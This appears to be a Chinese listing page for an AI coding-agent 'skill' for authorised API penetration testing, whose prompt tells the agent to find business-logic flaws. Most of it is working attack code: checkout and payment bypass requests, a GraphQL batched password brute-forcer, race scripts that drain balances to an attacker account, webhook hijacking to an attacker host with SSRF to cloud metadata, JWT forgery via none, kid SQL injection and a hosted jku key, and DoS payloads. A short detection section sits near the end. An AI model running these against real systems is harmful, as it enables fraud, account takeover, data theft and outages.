关于 offensive-api-abuse
面向授权 API 安全评估的技能,重点检查业务逻辑缺陷及端点工作流滥用,并指导测试人员发现问题、验证影响和编写记录。
主要功能
- 01API 面与工作流梳理
- 02竞态条件测试
- 03JWT 与 GraphQL 滥用检查
- 04分页与 Webhook 测试
- 05API 密钥泄漏排查
- 06按影响记录发现
适用场景
- 01评估交易与授权工作流
- 02测试 GraphQL 和分页控制
- 03检查 Webhook 与 JWT 攻击面
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-api-abuse安装后在 Claude Code 中输入/offensive-api-abuse确认已加载。
详细介绍
API 滥用与高级利用
你正在对 API 驱动型应用的业务逻辑层开展经授权的安全评估。传统漏洞扫描器会漏掉此技能中的攻击模式,因为这些模式需要理解应用工作流、状态转换以及 API 端点之间的信任关系。你的目标是识别以下漏洞:通过合法渠道操纵财务数据、窃取数据、利用工作流滥用提升权限,以及通过逻辑层攻击扰乱服务。
快速工作流
- 使用 Arjun、ParamSpider 和手动发现,绘制完整的 API 攻击面,包括未记录的端点。
- 建模业务工作流:识别多步骤事务、状态机以及端点之间的信任链。
- 使用并行请求技术,测试每个工作流是否存在竞态条件。
- 提取并分析 JWT,寻找算法混淆、签名强度不足和声明注入机会。
- 如果存在 GraphQL,则测试批处理是否会放大暴力破解、查询深度是否会造成 DoS,以及内省是否会泄露架构。
- 探测分页机制,寻找数据枚举和窃取机会。
- 测试 Webhook 配置是否存在 SSRF 和回调劫持。
- 搜索客户端代码、错误响应和公共代码库中的 API 密钥泄露。
- 验证所有已发现端点的授权是否一致。
- 为每项发现记录业务影响,并估算财务或运营后果。
通过 API 链接绕过业务逻辑
业务逻辑漏洞通常出现在单个 API 端点独立看来安全,但连接这些端点的工作流存在可利用漏洞时。你可以通过绘制预期的事务流程,再偏离该流程来识别这些漏洞。
# E-commerce checkout bypass
# Normal flow: add_to_cart -> apply_coupon -> calculate_total -> pay -> confirm
# Attack: skip payment and go directly to confirm
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": "PROD-001", "quantity": 1}' \
"https://target.example.com/api/v1/cart/items" | jq .
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"coupon_code": "SAVE20"}' \
"https://target.example.com/api/v1/cart/coupon" | jq .
# Skip payment -- attempt direct order confirmation
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"cart_id": "CART-12345"}' \
"https://target.example.com/api/v1/orders/confirm" | jq .
# Price manipulation: add expensive item for free shipping, calculate, remove it
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": "EXPENSIVE-001", "quantity": 1}' \
"https://target.example.com/api/v1/cart/items"
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/cart/calculate"
curl -s -X DELETE -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/cart/items/EXPENSIVE-001"
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"payment_method": "card_on_file"}' \
"https://target.example.com/api/v1/cart/pay"
# State manipulation, negative quantities, currency confusion
curl -s -X PATCH -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"status": "pending"}' \
"https://target.example.com/api/v1/orders/ORD-5001"
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": "PROD-001", "quantity": -1}' \
"https://target.example.com/api/v1/cart/items"
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"amount": 100, "currency": "IDR"}' \
"https://target.example.com/api/v1/payments"
GraphQL 批处理与滥用
GraphQL API 通过查询批处理、内省和嵌套查询执行引入了独特的攻击面,可绕过速率限制和授权控制。
# Full introspection query -- extract types and mutations
curl -s -X POST -H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query": "{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}' \
"https://target.example.com/graphql" | jq '.data.__schema.types[] | select(.kind == "OBJECT")'
curl -s -X POST -H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query": "{ __schema { mutationType { fields { name args { name type { name kind } } } } } }"}' \
"https://target.example.com/graphql" | jq '.data.__schema.mutationType.fields[].name'
通过批处理放大暴力破解——在单个 HTTP 请求中发送多次身份验证尝试,以绕过基于请求次数的速率限制:
#!/usr/bin/env python3
"""GraphQL batching for authentication brute-force amplification."""
import requests, json, sys
TARGET = "https://target.example.com/graphql"
BATCH_SIZE = 50
def run_batch_brute(email, wordlist_path):
with open(wordlist_path) as f:
passwords = [line.strip() for line in f if line.strip()]
for i in range(0, len(passwords), BATCH_SIZE):
batch = passwords[i:i + BATCH_SIZE]
payload = [
{"query": f'mutation a{j} {{ login(email: "{email}", password: "{pwd}") {{ token success }} }}'}
for j, pwd in enumerate(batch)
]
resp = requests.post(TARGET, json=payload, headers={"Content-Type": "application/json"})
if resp.status_code == 429:
print(f"[!] Rate limited at batch index {i}")
break
for j, result in enumerate(resp.json()):
if result.get("data", {}).get("login", {}).get("success"):
print(f"[+] Valid: {email}:{batch[j]}")
return
print(f" Batch {i // BATCH_SIZE + 1}: {len(batch)} attempts in 1 request")
if __name__ == "__main__":
run_batch_brute(sys.argv[1], sys.argv[2])
# Query depth exploitation for denial of service
curl -s -X POST -H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query": "{ users { posts { comments { author { posts { comments { author { posts { comments { author { name } } } } } } } } } } }"}' \
"https://target.example.com/graphql"
# Field duplication for response amplification
curl -s -X POST -H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query": "{ a1: users { name email } a2: users { name email } a3: users { name email } a4: users { name email } a5: users { name email } a6: users { name email } a7: users { name email } a8: users { name email } a9: users { name email } a10: users { name email } }"}' \
"https://target.example.com/graphql"
分页利用
分页机制可能泄露记录总数、因游标操纵而暴露数据;如果约束不当,还可能导致整个数据库被枚举。
# Probe pagination boundaries and abuse page size
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users?page=1&per_page=1" | \
jq '{total: .total, total_pages: .total_pages, current_page: .page}'
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users?page=1&per_page=999999" | jq 'length'
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users?page=-1&per_page=100" | jq .
# Cursor-based pagination manipulation
echo "eyJpZCI6MTAwMX0=" | base64 -d # Decode cursor: {"id":1001}
# Forge a cursor to access arbitrary records
forged_cursor=$(echo -n '{"id":1}' | base64 -w0)
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users?cursor=${forged_cursor}&limit=100" | jq .
# Sort and filter parameter injection
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users?sort=password&order=asc" | jq .
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users?filter[role]=admin" | jq .
Webhook 劫持与 SSRF
Webhook 配置允许你将服务器发起的回调重定向到攻击者控制的端点,从而截获数据并实施 SSRF。
# Register a webhook pointing to your controlled server
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"url": "https://attacker-listener.example.com/webhook",
"events": ["user.created", "order.completed", "payment.received"],
"secret": "attacker_secret"
}' "https://target.example.com/api/v1/webhooks" | jq .
# List existing webhooks to discover internal URLs
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/webhooks" | jq '.[] | {id, url, events}'
# Webhook SSRF: point webhook URL to internal services
internal_targets=(
"http://127.0.0.1:8080/admin"
"http://169.254.169.254/latest/meta-data/"
"http://internal-api.local:3000/health"
"http://elasticsearch.internal:9200/_cat/indices"
)
for target_url in "${internal_targets[@]}"; do
resp=$(curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"url\": \"${target_url}\", \"events\": [\"test.ping\"]}" \
"https://target.example.com/api/v1/webhooks")
echo "Target: ${target_url} -> $(echo "$resp" | head -c 200)"
done
API 事务中的竞态条件
当 API 未能正确串行化针对共享状态的并发请求时,就会发生竞态条件。你可以利用这些问题重复执行事务、绕过限制或破坏状态。
#!/usr/bin/env python3
"""Race condition testing for API transaction abuse."""
import asyncio, aiohttp
TARGET = "https://target.example.com/api/v1"
TOKEN = "YOUR_TOKEN"
HEADERS = {"Authorization": f"Bearer {TOKEN}", "Content-Type": "application/json"}
async def send_request(session, url, data=None):
async with session.post(url, json=data, headers=HEADERS) as resp:
body = await resp.json()
return {"status": resp.status, "body": body}
async def race_coupon_redeem(coupon_code, n=20):
"""Redeem a single-use coupon multiple times via race condition."""
async with aiohttp.ClientSession() as session:
tasks = [send_request(session, f"{TARGET}/cart/coupon",
{"coupon_code": coupon_code}) for _ in range(n)]
results = await asyncio.gather(*tasks)
successes = [r for r in results if r["status"] == 200]
print(f"[+] Coupon '{coupon_code}' redeemed {len(successes)}/{n} times")
async def race_balance_transfer(n=20):
"""Drain account by sending parallel transfers exceeding balance."""
async with aiohttp.ClientSession() as session:
tasks = [send_request(session, f"{TARGET}/transfers",
{"to_account": "ATTACKER-ACCT", "amount": 100, "currency": "USD"})
for _ in range(n)]
results = await asyncio.gather(*tasks)
successes = [r for r in results if r["status"] in (200, 201)]
total = sum(r["body"].get("amount", 0) for r in successes)
print(f"[+] Transfers succeeded: {len(successes)}/{n}, total: {total}")
if __name__ == "__main__":
asyncio.run(race_coupon_redeem("SINGLE-USE-COUPON"))
asyncio.run(race_balance_transfer())
# Race condition using GNU parallel with curl
seq 1 20 | parallel -j 20 'curl -s -o /dev/null -w "Request {}: %{http_code}\n" \
-X POST -H "Authorization: Bearer '"$TOKEN"'" \
-H "Content-Type: application/json" \
-d '\''{"coupon_code": "SINGLE-USE"}'\'' \
"https://target.example.com/api/v1/cart/coupon"'
JWT 操纵
JSON Web Token 通常会在客户端承载授权决策。你可以利用令牌生成、验证和加密实现中的弱点。
# Decode, algorithm confusion (RS256 -> HS256), and none-algorithm attacks
jwt_tool "$JWT_TOKEN"
jwt_tool "$JWT_TOKEN" -X a # Algorithm confusion
jwt_tool "$JWT_TOKEN" -X n # None algorithm
# Manual none-algorithm variants
for alg in "none" "None" "NONE" "nOnE"; do
header=$(echo -n "{\"alg\":\"${alg}\",\"typ\":\"JWT\"}" | base64 -w0 | tr '+/' '-_' | tr -d '=')
payload=$(echo "$JWT_TOKEN" | cut -d. -f2)
forged="${header}.${payload}."
code=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer ${forged}" \
"https://target.example.com/api/v1/users/me")
echo "Algorithm '${alg}' -> HTTP ${code}"
done
# kid (Key ID) injection -- path traversal and SQL injection
jwt_tool "$JWT_TOKEN" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
jwt_tool "$JWT_TOKEN" -I -hc kid -hv "/proc/sys/kernel/hostname" -S hs256 -p ""
jwt_tool "$JWT_TOKEN" -I -hc kid -hv "' UNION SELECT 'attacker_secret' -- " -S hs256 -p "attacker_secret"
# jku (JWK Set URL) abuse: generate keypair, host JWKS, forge token
openssl genrsa -out attacker_key.pem 2048
openssl rsa -in attacker_key.pem -pubout -out attacker_pub.pem
python3 -c "
import json, base64
from cryptography.hazmat.primitives.serialization import load_pem_public_key
with open('attacker_pub.pem', 'rb') as f:
pub = load_pem_public_key(f.read())
n = pub.public_numbers()
jwks = {'keys': [{'kty': 'RSA', 'kid': 'attacker-key-1', 'use': 'sig',
'n': base64.urlsafe_b64encode(n.n.to_bytes(256, 'big')).rstrip(b'=').decode(),
'e': base64.urlsafe_b64encode(n.e.to_bytes(3, 'big')).rstrip(b'=').decode()}]}
print(json.dumps(jwks, indent=2))
" > jwks.json
jwt_tool "$JWT_TOKEN" -I \
-hc jku -hv "https://attacker.example.com/.well-known/jwks.json" \
-hc kid -hv "attacker-key-1" \
-S rs256 -pr attacker_key.pem
# Claim tampering with a known or brute-forced secret
jwt_tool "$JWT_TOKEN" -I -pc role -pv admin -S hs256 -p "$KNOWN_SECRET"
jwt_tool "$JWT_TOKEN" -I -pc sub -pv "[email protected]" -S hs256 -p "$KNOWN_SECRET"
jwt_tool "$JWT_TOKEN" -I -pc exp -pv 9999999999 -S hs256 -p "$KNOWN_SECRET"
jwt_tool "$JWT_TOKEN" -I -pc is_admin -pv true \
-pc permissions -pv '["admin","superuser"]' -S hs256 -p "$KNOWN_SECRET"
API 密钥泄露模式
API 密钥会通过一些可预测的渠道泄露。你需要系统地检查所有可能的暴露面。
# Search public repositories for leaked keys
gh api search/code -q '.items[] | {repo: .repository.full_name, path: .path}' \
--method GET -f "q=org:target-org api_key OR apikey OR api-key OR secret_key"
gh api search/code -q '.items[] | {repo: .repository.full_name, path: .path, url: .html_url}' \
--method GET -f "q=org:target-org AKIA OR sk_live OR rk_live"
# Client-side key extraction from JavaScript bundles
curl -s "https://target.example.com/" | \
grep -oE 'src="[^"]*\.js[^"]*"' | sed 's/src="//;s/"//' | while read -r js_url; do
echo "=== Scanning: https://target.example.com${js_url} ==="
curl -s "https://target.example.com${js_url}" | grep -oiE \
'(api[_-]?key|api[_-]?secret|access[_-]?token|secret[_-]?key)["\x27]?\s*[:=]\s*["\x27][A-Za-z0-9+/=_-]{16,}["\x27]'
done
# Error message key leakage
curl -s -X POST -H "Content-Type: application/json" \
-d '{"invalid": true}' "https://target.example.com/api/v1/connect" | \
grep -iE '(key|token|secret|password|credential)'
未记录端点发现
生产环境中的 API 经常会暴露公共文档中未列出的端点。你可以通过可预测的命名模式、调试路由和应用源码分析来发现这些端点。
# Parameter discovery with Arjun
arjun -u "https://target.example.com/api/v1/users" -m GET \
--headers "Authorization: Bearer $TOKEN" -t 10
arjun -u "https://target.example.com/api/v1/users" -m POST \
--headers "Authorization: Bearer $TOKEN" -t 10
# ParamSpider for URL parameter mining from web archives
paramspider -d target.example.com --exclude woff,css,js,png,svg,jpg,gif
# Endpoint brute-forcing with predictable naming patterns
wordlist=(
"internal" "debug" "test" "dev" "staging" "beta"
"admin" "manage" "console" "dashboard" "config"
"health" "status" "metrics" "graphql" "playground"
"backup" "export" "import" "batch" "bulk" "webhook"
)
for word in "${wordlist[@]}"; do
for prefix in "/api/v1" "/api/v2" "/api/internal" "/api" "/_"; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
"${TARGET}${prefix}/${word}")
[ "$code" != "404" ] && [ "$code" != "000" ] && echo "[${code}] ${prefix}/${word}"
done
done
# Extract API routes from JavaScript bundles
curl -s "https://target.example.com/static/js/main.js" | \
grep -oE '["'\'']/api/[a-zA-Z0-9/_-]+["'\'']' | sort -u
资源耗尽与算法复杂度
将目标锁定为服务器端开销与请求复杂度不成比例的 API 操作。
# ReDoS via search parameters -- measure response time scaling
for len in 10 20 30 40 50; do
payload=$(python3 -c "print('a' * ${len} + '!')")
curl -s -o /dev/null -w "Length ${len}: %{time_total}s\n" \
-H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/search?q=${payload}"
done
# XML entity expansion (Billion Laughs) if XML input accepted
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<data>&lol4;</data>' "https://target.example.com/api/v1/import"
检测 / 防御方视角
执行这些技术时,会产生防御方会监控的特定痕迹:
-
业务逻辑滥用 不会触发基于特征码的检测,因为每个单独的请求都是有效的。行为分析会检测异常情况,例如结账步骤顺序错误、并行使用优惠码,或违反应用状态机的状态转换。交易监控会标记重复奖励、负金额转账或货币不匹配。
-
GraphQL 批处理 会产生异常大的请求负载。设置了查询复杂度、深度或操作数量限制的 API 网关会拦截此类请求。来自非开发环境的内省查询会触发警报。
-
分页滥用 会表现为页大小异常的请求,或高频连续抓取。DLP 系统会对批量访问数据的模式发出警报。
-
Webhook 操纵 可通过注册审计日志检测。出站连接监控会标记指向异常目标的回调。SSRF 防御会根据允许列表验证回调 URL。
-
竞态条件 会在毫秒级的时间窗口内产生大量相同请求。分布式追踪会捕获并发状态修改。数据库日志会显示序列化失败。
-
涉及算法混淆的 JWT 攻击 会产生标头值异常的令牌,认证中间件会记录这些值。jku/x5u 指向外部 URL 的令牌会触发 URL 验证警报。
-
端点枚举 会产生大量 404 响应和异常的 URL 路径模式。WAF 会标记探测过程中出现的路径遍历模式。
测试任务速查表
| 阶段 | 操作 | 工具 |
|---|---|---|
| 发现 | 隐藏参数枚举 | Arjun |
| 发现 | URL 参数挖掘 | ParamSpider |
| 发现 | GraphQL 架构内省 | curl、GraphQL Voyager |
| 发现 | 端点暴力破解 | 自定义字典脚本 |
| 逻辑 | 通过 API 链接绕过工作流 | curl、Burp Repeater |
| 逻辑 | 价格 / 状态操纵 | curl 序列 |
| 逻辑 | 竞态条件利用 | Python asyncio/aiohttp、GNU parallel |
| 认证 | JWT 算法混淆 | jwt_tool |
| 认证 | JWT kid/jku 注入 | jwt_tool、openssl |
| 认证 | JWT 声明篡改 | jwt_tool |
| 数据 | 基于分页的数据外泄 | curl、Python 脚本 |
| 数据 | GraphQL 批量暴力破解 | Python 脚本 |
| 数据 | API 密钥泄露搜索 | gh、grep、curl |
| 基础设施 | Webhook 劫持 / SSRF | curl |
| 基础设施 | 资源耗尽 | curl、Python |
关键参考资料
- OWASP API Security Top 10 2023:https://owasp.org/API-Security/editions/2023/en/0x11-t10/
- OWASP Testing Guide -- 业务逻辑测试:https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/10-Business_Logic_Testing/
- GraphQL 安全最佳实践:https://graphql.org/learn/security/
- PortSwigger -- 竞态条件:https://portswigger.net/web-security/race-conditions
- jwt_tool:https://github.com/ticarpi/jwt_tool
- Arjun:https://github.com/s0md3v/Arjun
- ParamSpider:https://github.com/devanshbatham/ParamSpider
- GraphQL Voyager:https://github.com/graphql-kit/graphql-voyager
- Nick Aleks 和 Dolev Farhi 著《Black Hat GraphQL》(No Starch Press)
- RFC 7519 -- JSON Web Token:https://datatracker.ietf.org/doc/html/rfc7519